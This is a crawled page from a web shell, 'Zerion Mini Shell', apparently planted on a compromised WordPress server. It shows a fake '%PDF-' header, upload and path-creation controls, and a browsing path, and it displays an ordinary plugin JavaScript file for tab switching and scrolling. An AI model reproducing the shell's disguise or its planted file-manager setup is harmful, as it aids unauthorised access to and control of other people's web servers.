%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/1857783/root/var/www/cwg/wp-content/plugins/phpinfo-wp/js/
Upload File :
Create Path :
Current File : //proc/1857783/root/var/www/cwg/wp-content/plugins/phpinfo-wp/js/scripts.js

"use strict";

function main() {

    var topButton = document.getElementById('topButton-phpinfo-WP');
    var tabcontent = document.getElementsByClassName("tabcontent");
    var tablinks = document.getElementsByClassName("tablinks");
    var scrollBar = document.getElementById("dau-console");

    function showButton() {
        if (topButton !== null) {
            if (document.body.scrollTop > 400 || document.documentElement.scrollTop > 400) {
                topButton.style.display = "block";
            } else {
                topButton.style.display = "none";
            }
        }
    }

    window.onscroll = function () {
        showButton();
    };

    function goTop() {
        document.body.scrollTop = 0;
        document.documentElement.scrollTop = 0;
    }

    if (topButton !== null) {
        topButton.addEventListener('click', goTop);
    }

    function manageContent() {
        for (let i = 0; i < tabcontent.length; i++) {
            tabcontent[i].style.display = "none";
        }

        for (let i = 0; i < tablinks.length; i++) {
            tablinks[i].className = tablinks[i].className.replace(" active", "");
        }
    }

    let i;

    for (let link of tablinks) {
        link.addEventListener('click', () => {
            manageContent();
            if (link.id == 'log-tab') i = 3;
            else if (link.id == 'info-tab') i = 2;
            else if (link.id == 'extension-tab') i = 1;
            else i = 0;
            document.getElementById(tabcontent[i].id).style.display = "block";
            event.currentTarget.className += " active";
        });
    }

}

if(document.getElementById('phpinfo-wp') != null) {
    main();
}

Zerion Mini Shell 1.0